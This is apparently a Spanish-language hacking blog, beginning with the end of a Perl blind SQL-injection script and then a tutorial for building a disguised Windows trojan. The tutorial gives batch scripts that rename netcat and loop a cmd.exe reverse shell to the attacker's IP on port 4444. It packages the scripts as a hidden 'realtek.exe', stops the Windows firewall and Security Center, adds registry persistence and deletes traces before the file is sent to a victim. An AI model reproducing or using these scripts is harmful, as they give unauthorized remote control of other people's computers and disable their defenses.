  6. · PeerPort => 'http(80)',
  7. · Proto => 'tcp') || die "[-] No se ha podido conectar a $host";
  8. · print $socket "GET " .$path.$injeccion. " HTTP/1.0\r\n";
  9. · print $socket "HOST:$host\r\n";
  10. · print $socket "\n\n";
  11. · print "*";
  12. · }


nota: La linea 13 esta comentada, si quieren provocar el delay con la tecnica "Blind Heavy Query" descomentenla y comenten la linea 14 que es usando la funcion Benchmark.

Dejo el link de otro mismo script pero hecho en php por OzX . Link


Saludos.

jueves, 3 de septiembre de 2009

Reverse shell netcat with batch

Buenas, Me decidi crear un Blog ahora que estoy por mis pagos (Goya Corrientes), y no tenia nada que hacer :)..
Bueno en el ultimo Security Hacking NEA 4, se hablo de Reverse Shell por Dardo Valdez (Yaco), donde mostro como hacer uno con la herraminta Crypcat, aqui les dejo un tutorial muy bueno de WHK. Esta herramienta es una evolucion del Netcat y es exactamente igual los comandos con la diferencia de que la informacion viaja Encriptada. Pero bueno este tutorial que esta hecho por mi trabajo con Netcat.
¿Y en realidad que es Netcat? Netcat es una herramienta muy completa que es indispensable para cualquier administrador de red, el cual nos permite realizar conexiones TCP y UPD. Es tantas las cosas que podemos hacer con ella, que se tambien la denominan "La Navaja Suiza de los Hackers".
Bueno, entonces nosotros vamos a utilizar la opcion de Netcat que nos permita abrir un conexion reversa de la victima con nosotros.
¿Y que es en realidad una Conexion reversa? pss... Bueno eso explicare ahora mas adelante cuando empecemos a realizar el Script.. :)..
Basta y empecemos.

1)

Lo que nesesitamos es:

Vamos a trabajar con el QBFC, por algunos motivos, primero los script hechos en batch lo va a pasar a “.exe”, y segundo la mas importate es que nos permite juntar todo nuestros script y darle comandos para que los vaya manejando como queramos. Aqui hay un tuto de el. Aconsejo que lo lean por que voy a obviar su funcionamiento. Y esta muy interesante este programilla.

Ahora empezemos, renombramos el Netcat y le pondremos Win32.exe, abrimos el QBFC y copiamos el siguiente script en el, Ahora antes de guardarlo nos vamos al Icono Options de QBFC luego en la pestaña General marcamos Ghost Aplicattion, que servira para que no muestre ni un solo pestañeo de nada y no haya desconfianza. (Nuevamente recomiendo ver el tutorial de QBFC el cual muestra con imagenes de como utilizarlo.) , ahora lo guardamos con el nombre de “realtek.exe”, para ello nos dirijimos al icono donde dice BUILD.

Netcat > Win32.exe

Scritp_De_abajo > realtek.exe


@echo off

:recursivo

win32.exe -e cmd.exe Tuip 4444

goto recursivo

Bueno entonces que es una Conexion Reversa, pues fijense esta linea "win32.exe -e cmd.exe Tuip 4444", Nosotros que hacemos aca. Primero colocamos el nombre de win32.exe (que es el netcat renombrado por nosotros, para camuflarlo un poco), Ahora aca es la cuestion, le pasamos el comando -e que significa ejecutar, entonces vamos a ejecutar el cmd.exe (la consola de windows) abriendo un tunel hacia nuestra ip en un puerto determinado, que en este caso de ejemplo es el 4444. Este puerto estara escuchando en nuestra maquina a esperca de posibles conexion, cuando la victima ejecute este script pedira conexion hacia nosotros, y como nuestra maquina estara escuchando en ese puerto tendremos el cmd.exe de la victima. Entonces la conexion reversa es que la victima (en este caso) , se conecta a nosotros y no nosotros a ella. ¿Ahora y para que sirve esto.? Y bueno imaginemos que hariamos una conexion directa es decir nosotros pedimos conectarnos a la victima. Empiezan los problemas, ¿cuales? primero que nada tendriamo que concoer su IP. y en el caso de saber que pasaria si tiene ip dinamica.. :(. Ahora tambien podemos pasar por alto algunos firewall no tan complejos, ya que muchos solo no restringen conexiones salientes.

2)

Copiamos el siguiente script, “det.exe”

script_siguiente >det.exe

@echo off

cd

net stop “Centro de Seguridad”

net stop “Firewall de Windows/Conexión compartida a Internet (ICS)”

reg add hklmsoftwaremicrosoftwindowscurrentversionrun /v realtek /t reg_sz /d %systemroot%realtek.exe /f

exit

Este detendra el firewal de windows para que no tengamos problemas, y agregara el proceso realtek.exe al arrancar windows, para que tengamos acceso cada vez que prenda la maquina.

No quise hacerlo mas complejo a la detencion del firewall para hacerlo mas simple. Podran agregarle otras caracteristicas mas eficientes con el comando netsh, recomiendo leer.

3)

Y por ultimo el que manejará la secuencia de las acciones a realizarce. “NCT.exe”( pueden cambiarle el nombre).

@echo off

copy %MYFILES%win32.exe %systemroot%system32

copy %MYFILES%det.exe %systemroot%

copy %MYFILES%realtek.exe %systemroot%

rem borro lo que no utilizaremos mas

del %MYFILES%win32.exe

del %MYFILES%det.exe

del %MYFILES%realtek.exe

rem ejecuto

start %systemroot%det.exe

start %systemroot%realtek.exe

del %systemroot%det.exe

exit

En este ultimo tienen que insertar los distintos archivos que creamos y el netcat osea el “Win32″ :-) , con la pestaña include del QBFC. Por ultimo lo mandamos a nuestra victima. Colocamos en nuestra shell el comando nc -vv -l -p 4444, para escuchar el puerto 4444 y estamos dentro.. Obiamente tener el netcat intalado en su maquina. Recomiendo copiar el ejecutable del netcat en System32, para que este en una ruta PATH

Y con este terminamos. Cualquier duda las pueden colocar y las respondere con mucho gusto..

Saludos..

MagnoBalt